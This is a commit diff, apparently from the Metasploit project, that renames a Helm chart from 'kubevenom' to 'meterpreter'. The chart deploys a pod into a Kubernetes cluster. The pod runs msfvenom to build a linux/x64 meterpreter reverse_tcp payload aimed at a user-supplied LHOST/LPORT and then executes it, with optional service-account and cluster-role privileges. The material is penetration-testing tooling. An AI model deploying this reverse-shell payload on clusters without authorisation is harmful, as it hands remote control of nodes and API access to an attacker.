Skip to content

Commit 8d7d25e

Browse files
committed
naming - go meterpreter
1 parent 75e4d7d commit 8d7d25e

File tree

13 files changed

+63
-63
lines changed

13 files changed

+63
-63
lines changed

kubernetes/.gitignore

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
metasploit/charts
22
metasploit.yaml
3-
kubevenom.yaml
3+
meterpreter.yaml

kubernetes/Makefile

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -5,16 +5,16 @@
55
.SECONDEXPANSION:
66

77
lint-charts: ##@Lint Lint Helm Chart
8-
helm lint kubevenom
8+
helm lint meterpreter
99

10-
generate-deployment: ##@Generate Generate K8S installation
11-
helm template kubevenom kubevenom --set lport="4444" --set lhost="1.1.1.1" > kubevenom.yaml
10+
generate-deployment: ##@Generate Generate YAML based deployment
11+
helm template meterpreter meterpreter --set lport="4444" --set lhost="1.1.1.1" > meterpreter.yaml
1212

13-
install-kubevenom: ##@kubevenom Install kubevenom chart
14-
helm upgrade --create-namespace -i -n metasploit kubevenom ./kubevenom
13+
install-meterpreter: ##@meterpreter Install meterpreter chart
14+
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter
1515

16-
delete-kubevenom: ##@kubevenom Delete kubevenom chart
17-
helm -n metasploit delete kubevenom
16+
delete-meterpreter: ##@meterpreter Delete meterpreter chart
17+
helm -n metasploit delete meterpreter
1818

1919

2020
create-kind-cluster: ##@Test create KIND cluster

kubernetes/README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
Running metasploit framework against Kubernetes enables pentesters to security test cluster components such as the API Server, as well as internal application components or micro-services.
55

6-
The installation chart (kubevenom) also offers to install & run a metasploit payload, that connects back to metasploit console.
6+
The installation chart (meterpreter) also offers to install & run a metasploit payload, that connects back to metasploit console.
77
The payload can be deployed with different priviliges and permissions with respect to Kubernetes node hosting metasploit payload, as well as Kubernetes API server itself - see 'priviliges' section under values.yaml
88

99
```yaml
@@ -37,10 +37,10 @@ priviliges:
3737
2. Make sure you have an available Kubernetes cluster to deploy metasploit. You can install a local Kubernetes cluster using [KIND](https://kind.sigs.k8s.io/docs/user/quick-start/#installation)
3838
> You can create local KIND cluster by running `make create-kind-cluster`
3939
40-
3. Install kubevenom helm chart by running:
40+
3. Install meterpreter helm chart by running:
4141

4242
```sh
4343
export MSF_PORT="<routeable port from inside cluster>"
4444
export MSF_IPADDRESS="<routeable ip from inside cluster>"
45-
helm upgrade --create-namespace -i -n metasploit kubevenom ./kubevenom --set lport=$MSF_PORT --set lhost=$MSF_IPADDRESS
45+
helm upgrade --create-namespace -i -n metasploit meterpreter ./meterpreter --set lport=$MSF_PORT --set lhost=$MSF_IPADDRESS
4646
```

kubernetes/kubevenom/templates/NOTES.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

kubernetes/kubevenom/templates/configmap.yaml

Lines changed: 0 additions & 15 deletions
This file was deleted.
File renamed without changes.

kubernetes/kubevenom/Chart.yaml renamed to kubernetes/meterpreter/Chart.yaml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
apiVersion: v2
2-
name: kubevenom
2+
name: meterpreter
33
description: A Helm chart for deploying metasploit payload into Kubernetes
44
type: application
55
version: 0.1.0
66
keywords:
77
- metasploit
8-
- meterperter
8+
- meterpreter
99
- security
1010
- pentest
1111
- penetration testing
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Make sure meterpreter connected to your Metasploit Receive Handler running at {{ .Values.lhost}}:{{.Values.lport}}

kubernetes/kubevenom/templates/_helpers.tpl renamed to kubernetes/meterpreter/templates/_helpers.tpl

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
{{/*
33
Expand the name of the chart.
44
*/}}
5-
{{- define "kubevenom.name" -}}
5+
{{- define "meterpreter.name" -}}
66
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}}
77
{{- end -}}
88

@@ -11,7 +11,7 @@ Create a default fully qualified app name.
1111
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
1212
If release name contains chart name it will be used as a full name.
1313
*/}}
14-
{{- define "kubevenom.fullname" -}}
14+
{{- define "meterpreter.fullname" -}}
1515
{{- if .Values.fullnameOverride -}}
1616
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}}
1717
{{- else -}}
@@ -27,16 +27,16 @@ If release name contains chart name it will be used as a full name.
2727
{{/*
2828
Create chart name and version as used by the chart label.
2929
*/}}
30-
{{- define "kubevenom.chart" -}}
30+
{{- define "meterpreter.chart" -}}
3131
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}}
3232
{{- end -}}
3333

3434
{{/*
3535
Common labels
3636
*/}}
37-
{{- define "kubevenom.labels" -}}
38-
helm.sh/chart: {{ include "kubevenom.chart" . }}
39-
{{ include "kubevenom.selectorLabels" . }}
37+
{{- define "meterpreter.labels" -}}
38+
helm.sh/chart: {{ include "meterpreter.chart" . }}
39+
{{ include "meterpreter.selectorLabels" . }}
4040
{{- if .Chart.AppVersion }}
4141
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
4242
{{- end }}
@@ -46,7 +46,7 @@ app.kubernetes.io/managed-by: {{ .Release.Service }}
4646
{{/*
4747
Selector labels
4848
*/}}
49-
{{- define "kubevenom.selectorLabels" -}}
50-
app.kubernetes.io/name: {{ include "kubevenom.name" . }}
49+
{{- define "meterpreter.selectorLabels" -}}
50+
app.kubernetes.io/name: {{ include "meterpreter.name" . }}
5151
app.kubernetes.io/instance: {{ .Release.Name }}
5252
{{- end -}}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
apiVersion: v1
2+
kind: ConfigMap
3+
metadata:
4+
name: {{ include "meterpreter.fullname" . }}
5+
labels:
6+
{{- include "meterpreter.labels" . | nindent 4 }}
7+
data:
8+
meterpreter.sh: |-
9+
#!/bin/bash -x
10+
11+
env
12+
pwd
13+
./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf > /meterpreter/meterpreter
14+
chmod +x /meterpreter/meterpreter
15+
ls -la /meterpreter/meterpreter

kubernetes/kubevenom/templates/deployment.yaml renamed to kubernetes/meterpreter/templates/deployment.yaml

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,25 @@
11
apiVersion: apps/v1
22
kind: Deployment
33
metadata:
4-
name: {{ include "kubevenom.fullname" . }}
4+
name: {{ include "meterpreter.fullname" . }}
55
labels:
6-
{{- include "kubevenom.labels" . | nindent 4 }}
6+
{{- include "meterpreter.labels" . | nindent 4 }}
77
spec:
88
replicas: 1
99
selector:
1010
matchLabels:
11-
{{- include "kubevenom.selectorLabels" . | nindent 6 }}
11+
{{- include "meterpreter.selectorLabels" . | nindent 6 }}
1212
template:
1313
metadata:
1414
labels:
15-
{{- include "kubevenom.selectorLabels" . | nindent 8 }}
15+
{{- include "meterpreter.selectorLabels" . | nindent 8 }}
1616
spec:
1717
{{- with .Values.imagePullSecrets }}
1818
imagePullSecrets:
1919
{{- toYaml . | nindent 8 }}
2020
{{- end }}
2121
{{- if .Values.priviliges.useServiceAccount }}
22-
serviceAccountName: {{ include "kubevenom.fullname" . }}
22+
serviceAccountName: {{ include "meterpreter.fullname" . }}
2323
{{ else }}
2424
automountServiceAccountToken: false
2525
{{ end }}
@@ -29,24 +29,24 @@ spec:
2929
- name: msfvenome
3030
image: "{{ .Values.image.repository}}:{{ .Values.image.tag }}"
3131
imagePullPolicy: {{ .Values.image.pullPolicy }}
32-
command: ["/bin/bash", "-c", "/tmp/kubevenom.sh"]
32+
command: ["/bin/bash", "-c", "/tmp/meterpreter.sh"]
3333
env:
3434
- name: LHOST
3535
value: "{{ required "Please provide value to 'lhost' - The IP Address the payload will connect to" .Values.lhost }}"
3636
- name: LPORT
3737
value: "{{ required "Please provide value to 'lport' - The Port the payload will connect to" .Values.lport }}"
3838
volumeMounts:
39-
- name: kubevenom
40-
mountPath: /kubevenom
39+
- name: meterpreter
40+
mountPath: /meterpreter
4141
- name: msfvenome
42-
mountPath: /tmp/kubevenom.sh
43-
subPath: kubevenom.sh
42+
mountPath: /tmp/meterpreter.sh
43+
subPath: meterpreter.sh
4444

4545
containers:
4646
- name: {{ .Chart.Name }}
4747
image: gcr.io/google_containers/pause-amd64:3.0
4848
imagePullPolicy: {{ .Values.image.pullPolicy }}
49-
command: ["/kubevenom/kubevenom"]
49+
command: ["/meterpreter/meterpreter"]
5050
tty: true
5151
stdin: true
5252
securityContext:
@@ -55,19 +55,19 @@ spec:
5555
resources:
5656
{{- toYaml .Values.resources | nindent 12 }}
5757
volumeMounts:
58-
- name: kubevenom
59-
mountPath: /kubevenom
58+
- name: meterpreter
59+
mountPath: /meterpreter
6060

6161
restartPolicy: Always
6262
volumes:
63-
- name: kubevenom
63+
- name: meterpreter
6464
emptyDir: {}
6565
- name: msfvenome
6666
configMap:
67-
name: {{ include "kubevenom.fullname" . }}
67+
name: {{ include "meterpreter.fullname" . }}
6868
items:
69-
- key: kubevenom.sh
70-
path: kubevenom.sh
69+
- key: meterpreter.sh
70+
path: meterpreter.sh
7171
defaultMode: 0777
7272

7373

kubernetes/kubevenom/templates/rbac.yaml renamed to kubernetes/meterpreter/templates/rbac.yaml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,25 +2,25 @@
22
apiVersion: v1
33
kind: ServiceAccount
44
metadata:
5-
name: {{ include "kubevenom.fullname" . }}
5+
name: {{ include "meterpreter.fullname" . }}
66
labels:
7-
{{- include "kubevenom.labels" . | nindent 4 }}
7+
{{- include "meterpreter.labels" . | nindent 4 }}
88

99
---
1010
{{- if ne .Values.priviliges.bindClusterRole "" -}}
1111
apiVersion: rbac.authorization.k8s.io/v1
1212
kind: RoleBinding
1313
metadata:
14-
name: {{ include "kubevenom.fullname" . }}
14+
name: {{ include "meterpreter.fullname" . }}
1515
labels:
16-
{{- include "kubevenom.labels" . | nindent 4 }}
16+
{{- include "meterpreter.labels" . | nindent 4 }}
1717
roleRef:
1818
apiGroup: rbac.authorization.k8s.io
1919
kind: ClusterRole
2020
name: {{ .Values.priviliges.bindClusterRole }}
2121
subjects:
2222
- kind: ServiceAccount
23-
name: {{ include "kubevenom.fullname" . }}
23+
name: {{ include "meterpreter.fullname" . }}
2424
namespace: {{ .Release.Namespace }}
2525
{{- end -}}
2626
{{- end -}}

kubernetes/kubevenom/values.yaml renamed to kubernetes/meterpreter/values.yaml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
1-
# Default values for kubevenom.
1+
# Default values for meterpreter.
22

3-
#"<The IP Address the payload will connect to>"
3+
#The IP Address the payload will connect to
44
lhost:
5-
#"<The Port kubevenom meterperter will connect to>"
5+
#The Port meterpreter will connect to
66
lport:
77

88
image:
@@ -14,7 +14,7 @@ imagePullSecrets: []
1414
nameOverride: ""
1515
fullnameOverride: ""
1616

17-
# Tune the priviliges your Kubernetes meterperter will run with
17+
# Tune the priviliges your Kubernetes meterpreter will run with
1818
priviliges:
1919
# Disable Kubernetes API Server Access - even to the discovery APIs
2020
useServiceAccount: true

0 commit comments

Comments
 (0)